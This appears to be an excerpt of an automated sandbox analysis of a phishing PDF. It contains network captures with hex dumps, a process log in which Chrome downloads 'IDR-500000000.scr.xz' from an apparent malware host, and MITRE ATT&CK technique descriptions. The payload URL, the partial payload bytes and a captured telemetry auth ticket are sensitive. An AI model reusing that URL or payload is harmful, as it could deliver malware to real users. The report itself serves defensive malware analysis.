2024-09-06 07:54:18 UTC	16384	IN	Data Raw: fd 37 7a 58 5a 00 00 01 69 22 de 36 03 c0 99 a1 2e 80 80 40 21 01 0c 00 04 36 d3 f4 e2 21 fb c0 04 5d 00 26 96 8e 70 00 17 f7 ec 04 8a 64 ed 79 9d c1 4c b6 47 79 0a fb 66 58 c5 06 8a b1 98 e9 88 89 82 93 8d 79 07 60 4d ce 37 e1 46 04 84 60 ba 09 7a 2b e9 27 06 70 65 25 a7 a5 fa 91 f6 29 71 6d bc 76 7b b4 45 e5 26 23 bd 06 0f c4 2b ca 8b 27 f8 29 d2 47 62 d7 b9 4c 43 85 bd c3 23 b4 fd 41 6f d1 87 7e 2f b8 c5 7b 26 c3 6b c6 5a 36 14 52 e5 30 d0 f6 5b c9 69 32 06 5f e3 63 00 1e 04 84 b2 4a 23 0c 92 47 d5 31 6e dd 2b d8 e5 5c 0d 6e 9e a5 c3 79 b1 f7 f9 f3 61 0c 73 7d 90 70 47 3b 27 1a cc ce a4 1f 50 38 0c 9b 1f ad 64 bd c8 40 f9 ce bb fa a5 d6 94 1c 5b 9f d9 5e 9a c2 84 87 11 41 c1 50 e5 92 9c c4 b7 5d f4 d4 4e ec 2a b0 22 fd 3e 83 42 6a 15 51 c9 b5 d8 8e 2b Data Ascii: 7zXZi"6.@!6!]&pdyLGyfXy`M7F`z+'pe%)qmv{E&#+')GbLC#Ao~/{&kZ6R0[i2_cJ#G1n+\nyas}pG;'P8d@[^AP]N*">BjQ+
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: a1 e8 a7 3a 05 ab 54 12 ad de 10 85 5f f8 7a 9d b8 b1 54 2e 34 c7 ca bf e8 97 d8 ff 4a 44 4e e2 d9 bb 4b 4f b8 ab 1f eb 6e c9 88 33 c5 8b 10 2e 42 0b 14 e6 6b 8b f1 6f f1 f2 8d 9e ff f4 e1 05 9e d3 19 16 95 5d 25 19 4e e3 e2 a7 87 3c 9f cb 6f 1c 91 92 4c 11 19 dc b0 d2 b3 14 b7 f0 c3 ec c0 31 67 38 22 61 18 d1 51 9a 67 07 43 26 38 ab dd ee 2d af 5b 6f 84 21 fc a3 4f ae a2 7f 1c 60 7f 68 23 85 e8 63 65 7b 25 9e 66 6e a7 d9 f4 72 47 de c5 5d d9 82 00 55 0f a0 e3 eb 42 7a af 5b 03 69 e7 a4 27 9b ca b8 6b 6d d2 3c 07 16 fa b0 c1 16 05 a3 15 a9 f2 49 c0 f8 8f 0c c8 68 62 21 46 cf 2e 85 9f 91 9e d4 58 d7 95 05 a4 2b 6c 2a 30 5e d7 1b 06 10 01 e1 38 c5 aa 62 24 6f fd 68 e2 0b 91 03 d2 b9 c0 40 ab 39 f5 c3 dd 7c 0a 2c 37 da d4 c8 96 22 a2 c4 6e d7 db 31 25 6e 52 Data Ascii: :T_zT.4JDNKOn3.Bko]%N<oL1g8"aQgC&8-[o!O`h#ce{%fnrG]UBz[i'km<Ihb!F.X+l*0^8b$oh@9\|,7"n1%nR
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: 8a 2d f4 0d 18 60 4a 93 77 49 8a bb 3f 3a b3 08 8e f1 6d 83 c0 ac 1c 04 1e c0 b1 46 87 b7 42 ea ae 50 e7 b0 3a 3b 6c d5 fc c9 18 c0 4a 5b 45 df d9 05 eb 4a 56 30 5a f0 d1 66 6c f8 fb d2 cd 29 98 1c ab c6 1f 91 aa 4b 8a 1a bc 65 d0 6a 49 61 71 8d 71 55 81 7c bf 50 cf c5 6b 80 15 3d c8 a9 cc 16 84 5f 40 9f d1 9c 33 ff af 5c 0e 1b 0a dd 6b fe 79 7a 01 c1 9a f0 10 c8 69 90 7c 00 ae 9a b3 be f4 b1 28 e0 87 fb 05 fb 26 8a 61 e8 de b4 40 6a 65 56 22 39 60 c1 86 b6 09 42 85 4e a7 bb 45 8b d5 8e 4f 34 7c 1a 42 b8 4f 18 39 ec 85 52 84 42 79 e6 16 aa 57 dd a8 db 34 b3 9d 74 f0 65 c8 3c 9b 5a de 3c 32 3a 16 3e 30 f1 29 75 9f 6c 7e da 59 cb 78 64 5c ea 12 0d 82 a3 4c 60 7c 80 80 e9 e1 54 f9 00 f4 b9 9f 55 16 85 47 37 f9 48 b2 e1 a9 91 90 04 3a 19 89 f6 e6 8b f0 c5 2b Data Ascii: -`JwI?:mFBP:;lJ[EJV0Zfl)KejIaqqU\|Pk=_@3\kyzi\|(&a@jeV"9`BNEO4\|BO9RByW4te<Z<2:>0)ul~Yxd\L`\|TUG7H:+
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: 76 8e c0 39 83 e9 da 2b a4 12 b1 b4 e9 56 7b 5d 30 31 f8 b3 06 cb 92 dc d6 9d 3c 83 e2 9c 97 b5 15 38 7f e9 c2 c6 83 82 68 ba c0 04 00 94 56 3a c0 c6 44 f6 2e 38 ef be c5 d5 3a 47 54 78 82 05 f1 7a 99 17 d6 93 1b 62 83 7a 14 e7 9e 49 43 86 c8 1d fc 16 40 2a ce c5 cf 02 c4 95 8d 63 7d e4 d2 53 11 c9 ae f3 a0 d8 59 30 fd 87 d9 1d 3c 48 23 40 36 33 fb 51 34 e8 a9 eb e0 bb 55 40 23 e0 2a 98 c9 5c 15 77 c7 b9 8c 9d 61 42 e1 73 bf 19 f3 c2 d3 5d 06 f8 47 20 02 9b bd 00 ac 8e c8 78 82 0b a6 3e 5e 02 85 ec 12 92 25 be 0f 76 96 77 75 c8 64 e0 6a 3b 57 44 14 08 1b 23 ff 6c 2e d2 04 cf 5d ec 6d d6 3f 8e 4b df fd 16 93 2e 74 25 72 54 9a c2 08 44 60 26 b1 09 c8 25 ed 76 81 18 d0 0f 54 06 65 df bd 1f 75 c4 ba bb 1b 8d 13 ad 12 a9 8c da 01 e2 db 26 e9 23 ae 05 98 3c c8 Data Ascii: v9+V{]01<8hV:D.8:GTxzbzIC@c}SY0<H#@63Q4U@#\waBs]G x>^%vwudj;WD#l.]m?K.t%rTD`&%vTeu&#<
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: 47 a3 70 f7 65 c8 db 99 d6 ce 50 9f 7b f9 97 53 b1 25 64 a1 3f 8b 21 7d 82 79 4d bb d2 60 9f dd 08 6e 7b ab d9 f2 77 aa dc fa 3f a8 12 ee 46 a1 a7 58 d0 54 f2 6a 5e cc 16 c7 dd 7b b5 bb 1e b1 00 8c bc 3b d7 b0 5a b9 cf 26 c0 3c 77 13 d0 97 c9 11 24 55 e5 f9 6c ef 1e 66 89 0e a0 a8 5d 2b c4 68 7f 08 78 62 c4 d7 66 31 75 e9 f7 79 74 e4 f9 e9 82 4b 0a f0 02 f8 52 fc 50 be e8 b6 dd be 72 e8 7d f0 fc 53 ce bd 11 6e cb be a1 e3 8c 7a b1 d0 16 1a 52 f9 7c 16 65 e2 c7 59 e2 33 88 63 16 f0 75 4a 8e d8 15 4e c5 7f 37 9a a2 aa e7 62 47 a0 15 54 74 a3 ad 0c 21 2a 1f e4 b1 58 1b d8 15 59 f6 90 21 6b 1a e7 d5 d6 e8 20 43 98 a0 fe 6a 67 86 95 4c e0 ad 45 7f 6a f7 56 b3 34 ed 6f 86 7d 83 b1 6e 7f c2 b5 40 80 4a 7b b2 cd 5a 43 5f d0 ad b9 2d 6c 36 08 8d 07 86 0f 51 a5 28 Data Ascii: GpeP{S%d?!}yM`n{w?FXTj^{;Z&<w$Ulf]+hxbf1uytKRPr}SnzR\|eY3cuJN7bGTt!*XY!k CjgLEjV4o}n@J{ZC_-l6Q(
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: 12 7d 9f 10 20 d0 80 6e da 2f b1 c5 ff 4d 1e 51 19 c7 1d 74 c7 59 57 d3 3a 7d 13 db ee 70 bc de 00 ba 43 fe ab 67 18 ac 0b 18 e0 6b 9c 64 59 c9 54 9a 6d 84 c8 12 4a 26 ce 9d 6f e1 88 c9 bb 38 8a bb 94 2e d4 2e 4c 25 34 9e 89 26 2d c2 90 f8 04 03 d6 f4 c7 e8 13 53 a6 0a fe 36 4c 35 18 cb 00 d1 00 9e 2e 3a 55 92 0b 19 4c 81 c6 81 d2 fc aa 9c 1e 32 49 1a 68 c0 cb 57 85 c1 9d b1 93 89 12 d9 13 10 9d 36 7c 4e b8 73 87 8b 39 5c a7 0b 7f 50 08 49 22 69 11 4a c5 96 ad 6b 5f 20 3c fb ae d3 f7 41 38 38 39 23 ea 01 47 dc 1c d7 26 22 de 8b fd 0b da d8 b9 6c 24 94 e8 e3 a7 ab 11 0d ca 9b 6a 22 95 72 8d 16 9a 17 1d 9d 58 fb 07 a7 4e 0b c2 71 97 7c 65 12 bf 31 e6 30 0b ab 46 93 ed 32 21 ef 57 c1 f0 f9 be 23 1d 18 2a ea f2 83 7d 9b 10 4c bf b4 03 00 ed d9 10 ac de bd c6 Data Ascii: } n/MQtYW:}pCgkdYTmJ&o8..L%4&-S6L5.:UL2IhW6\|Ns9\PI"iJk_ <A889#G&"l$j"rXNq\|e10F2!W#*}L
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: b6 89 dd af e9 d1 ed 80 5b 89 82 05 1a f2 97 26 b4 ad 94 35 29 38 6c cd 12 cd 93 5f d4 0e 36 7f 6f 8f ae 01 a0 7e 5e db ee 3d cd 8f e7 ba 10 5e bd 81 fe be c0 05 00 0c ac 24 33 aa 8c 16 58 8c 41 c2 a2 6d 23 a7 f0 f4 18 d4 be 02 9d 64 33 8d 27 25 fb e5 2a 92 f4 99 ce 87 48 4d 33 ec b3 39 e8 86 f7 61 c3 d1 c2 20 25 20 0a 5c dc ea 1e a8 33 9a bb 2f d4 1f 27 51 2e 7c f4 87 85 b4 f8 96 2c 7b db 38 84 49 c9 29 c0 b8 93 ed 3d 93 a8 08 dd 82 0e 79 6b 31 88 05 a3 e8 a8 95 93 0b d2 71 e0 16 8b cb 7d dc 1f 9c 77 7b 95 ee 1e ba d8 52 8c 72 0d 58 8b 92 33 0c df 51 e1 19 01 6e 05 4b 07 17 67 7d 11 d8 f3 04 af 94 e4 4d 7a c9 68 21 6a 56 67 08 39 2a 3e 35 37 5d bb 2d 2e 99 9c 26 21 a0 67 e3 ca 4e b8 54 f9 89 52 55 3c 75 42 b5 c9 ed ed f5 68 bf dd b7 5b 9f 02 4e 78 d8 d3 Data Ascii: [&5)8l_6o~^=^$3XAm#d3'%HM39a % \3/'Q.\|,{8I)=yk1q}w{RrX3QnKg}Mzh!jVg9>57]-.&!gNTRU<uBh[Nx
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: 4f bf ef ef a7 8b 75 8d 88 f8 ee 7a a8 e2 de 97 0d fe e4 4d a2 a4 bd 01 54 d8 09 c1 12 39 51 3e 79 29 d6 65 ee 27 39 e0 50 68 63 f4 27 53 48 72 cf 11 7a b9 26 ab 1c 89 50 37 f2 51 97 c2 29 6b da 23 2f 26 f4 23 fe cf f1 3a a6 09 c9 d1 ea ed 87 0d 9e 68 b3 3e 0c 9e 1b b0 3a 6e c4 10 3b d4 58 b8 6b 1e 2a 92 10 2e 24 c1 ea 6b 43 9c 3e 1a 19 9e 73 39 29 97 d3 72 ca 1c 78 a4 a1 a1 d1 aa e8 a3 ec 71 46 5d 08 96 aa 97 a7 d1 0f d4 1f 4d 27 34 d5 d6 0f 67 86 8a 65 a5 03 3f b2 31 3e 8f 7d e0 5b 85 50 72 5c ea ae 32 c5 70 cc 8e 96 c2 0b 34 05 78 48 23 ea e0 06 7f cc ca 42 69 71 a7 0b 24 12 95 4e bf b4 69 0d 70 f6 5a 04 40 08 5c 28 39 a5 09 78 3b 28 5b ef 66 20 95 8f af d4 12 e2 22 14 f7 db 41 31 ac 0d ad df 60 bf c7 b4 99 ea a4 0f d1 d8 b0 5a e8 cf 95 a3 d9 3d 8d 78 Data Ascii: OuzMT9Q>y)e'9Phc'SHrz&P7Q)k#/&#:h>:n;Xk*.$kC>s9)rxqF]M'4ge?1>}[Pr\2p4xH#Biq$NipZ@\(9x;([f "A1`Z=x
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: 72 16 00 c5 dd 00 6e ce 20 09 91 9f 2f b4 f3 7b 28 45 40 33 87 f9 fc 11 f0 40 70 e5 a7 c7 0f 28 aa e6 36 53 a5 e3 18 5e 8e a3 37 d8 67 4e f4 53 57 de b3 69 2d d8 19 74 55 c3 c9 2a 39 f9 cc c9 eb 21 9e 94 1d e4 34 6a 5c 71 59 25 a6 e0 7a 2d 37 bb e8 3c 62 95 28 57 63 4c 6a 8e 4d a2 a6 3b 1e 70 1c 83 a4 a8 05 f0 18 4b 04 82 8b 20 69 59 93 85 77 a3 9f 71 e3 ab 40 68 ff 87 89 08 fa d3 53 75 46 b2 fd 79 68 4b 59 dc 91 71 7e 1e 72 3f 22 01 57 25 86 07 b2 97 f3 ff 51 7b 16 f4 a1 1f e5 30 d5 1f 32 4d d6 e8 68 30 7f be d5 e1 7c be 49 39 98 3b b9 10 82 58 71 72 ff 46 86 20 e2 b2 eb a6 b2 41 44 92 d8 b0 80 8c ca 12 d7 78 7f 7f a7 db bc e2 9e 9a 7c ae ee fd de c0 ed 4c da 9c 49 a6 c5 d2 41 26 75 84 e3 4d 1f 25 3f 7f 62 77 3a 06 71 d5 3d 56 e2 03 51 da 9b ce 04 36 53 Data Ascii: rn /{(E@3@p(6S^7gNSWi-tU*9!4j\qY%z-7<b(WcLjM;pK iYwq@hSuFyhKYq~r?"W%Q{02Mh0\|I9;XqrF ADx\|LIA&uM%?bw:q=VQ6S
2024-09-06 07:54:18 UTC	16384	IN	Data Raw: f6 e9 51 56 93 fe b9 bd 9e d9 03 33 fb 52 dc df a1 63 f4 4b ce 9a a3 af 5a e3 0c ff 04 27 68 20 6f e3 17 94 8e 79 d6 4a 0e 05 9e 3e 4a 04 2c 8c 7d c6 27 06 fd a3 96 4b 2a 20 ba 00 80 e6 3f c0 04 00 ae f5 da aa 5a a7 23 3e 67 9d 89 e4 99 7e 7a c9 b7 dc e7 db c1 8a b1 0b a6 f2 10 84 29 dc 6c 8c 7f 51 f7 27 4e e2 e2 3f 4f 3b ff 97 76 8a b5 9f 19 9e 10 f4 3c 40 8a e8 7b d2 ac 8c a5 2a 6a e2 10 95 e0 5a 68 c2 ba 1e 0c f6 7e 32 2e 3c e6 93 f8 18 69 c7 77 ff 2f 0c 7f 89 e7 c9 c8 9c 56 39 a1 2e 35 e6 6c 3c fc 46 c8 2a 50 4f b8 bf b7 83 b2 34 2c ef 91 ca ec 3b 00 13 df cb 0f 30 b7 75 8c e5 e9 79 bc fe 0b e3 77 ae fa 0e bc 40 0d e4 76 15 40 e0 4c 91 29 e6 74 9a 86 a5 e9 74 0d c4 d4 f0 11 71 41 a6 ea 80 99 3b 1a 79 23 fd 9f 5a 2d 15 e9 19 19 7c 74 8f 54 1c f2 20 d2 Data Ascii: QV3RcKZ'h oyJ>J,}'K* ?Z#>g~z)lQ'N?O;v<@{jZh~2.<iw/V9.5l<FPO4,;0uyw@v@L)ttqA;y#Z-\|tT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49748	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:54:33 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SKh5HyDhzsn+dL3&MD=GB49MBOn HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-06 07:54:33 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: b1b1e976-4dd1-4f39-abb4-08f58f4c863c MS-RequestId: 438dffe2-af97-4343-8bef-5745a6575348 MS-CV: Hmz0EBPW3EWysEgT.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Sep 2024 07:54:33 GMT Connection: close Content-Length: 30005
2024-09-06 07:54:33 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-06 07:54:33 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.9	49754	20.189.173.9	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:58:28 UTC	828	OUT	POST /OneCollector/1.0/ HTTP/1.1 Accept: / APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521 AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEEjTDMjKMpqponteqD+0pCfgAGgDEirC8xcDiNaGa7543KupGMXRy4d00esKgoVBuje/seoKYClC558BTwHxzXFbZgUnmTnnXB0HzPVxcpNAeQyMZvT1fL/CwMJR5Ja2NGlRiHAbPxDrVeeQUrMbuCv0TZDUQUXbnNnT2WMjxtbQ8a8v/vWxFQvxqAHm/ASDq1g2/vhZ8O5eO+1/DCeE1PZorTG3fq8ThmVyXaaYIrUwYw+C4g7jrIpWEuS1V2UR3TaZmFoKIUKomkhcfJu4sfzvTYgAkWOjrWO4+V0dniO/LjNcijMfAQZ4koP/x5wzTJquIAE=&p= Client-Id: NO_AUTH Content-Encoding: deflate Content-Type: application/bond-compact-binary Expect: 100-continue SDK-Version: EVT-Windows-C++-No-3.4.15.1 Upload-Time: 1725609506069 Host: self.events.data.microsoft.com Content-Length: 7976 Connection: Keep-Alive Cache-Control: no-cache
2024-09-06 07:58:28 UTC	7976	OUT	Data Raw: ed 7c 4b ac 5c 47 7a 5e 53 92 19 8a a2 28 8e a4 d1 48 1a 79 44 0b 9a c9 c8 d3 7d 53 ef 47 23 86 87 22 a9 11 15 71 a8 f0 52 d4 78 00 83 39 dd 7d ba ef 21 bb fb 5c f5 83 0f c1 0b 61 16 46 1c c0 41 38 40 80 20 9b 0c b2 08 2c c0 0e 8c 20 41 10 af bc c8 22 13 66 91 c0 4b 67 e1 24 08 02 64 11 18 41 92 4d b2 c8 f7 d7 79 55 17 af 38 e3 c1 40 f0 00 bc 20 79 f9 57 d5 a9 e7 ff 7f ff f7 57 d5 39 6f 3d 29 f7 d8 25 75 65 3a 2d c6 f9 8d fd 7b eb 4d be a8 7f bd 9b 67 f3 cd c1 e5 7c 93 4d b2 4d 76 21 bf 8d 12 e7 cb e5 ba 9c 17 48 c8 27 1f ff b3 bf fd c3 3f f9 47 3f fc 6f ff f1 4b 9f bd 51 0e c7 13 27 8d 11 c6 70 3e 56 e3 2c cb dc 74 ac 47 22 b7 c2 e5 b9 e3 93 ff 70 fc 07 4f 3d f8 f2 c9 63 c5 a9 eb 97 ef 64 ab bc 7f f6 d2 72 bc f7 3b 27 2b 49 b0 3e ef 3d 78 e9 e4 b1 de 83 Data Ascii: \|K\Gz^S(HyD}SG#"qRx9}!\aFA8@ , A"fKg$dAMyU8@ yWW9o=)%ue:-{Mg\|MMv!H'?G?oKQ'p>V,tG"pO=cdr;'+I>=x
2024-09-06 07:58:28 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-06 07:58:28 UTC	443	IN	HTTP/1.1 200 OK Content-Length: 9 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 2408 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: time-delta-millis Date: Fri, 06 Sep 2024 07:58:28 GMT Connection: close {"acc":4}

Target ID:	0
Start time:	03:53:40
Start date:	06/09/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\IDR-500000000.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:53:41
Start date:	06/09/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:53:41
Start date:	06/09/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1348,i,6875442250273393431,11620017427285945396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:54:05
Start date:	06/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	03:54:05
Start date:	06/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,3986211830860752182,14171366589352522847,262144 /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

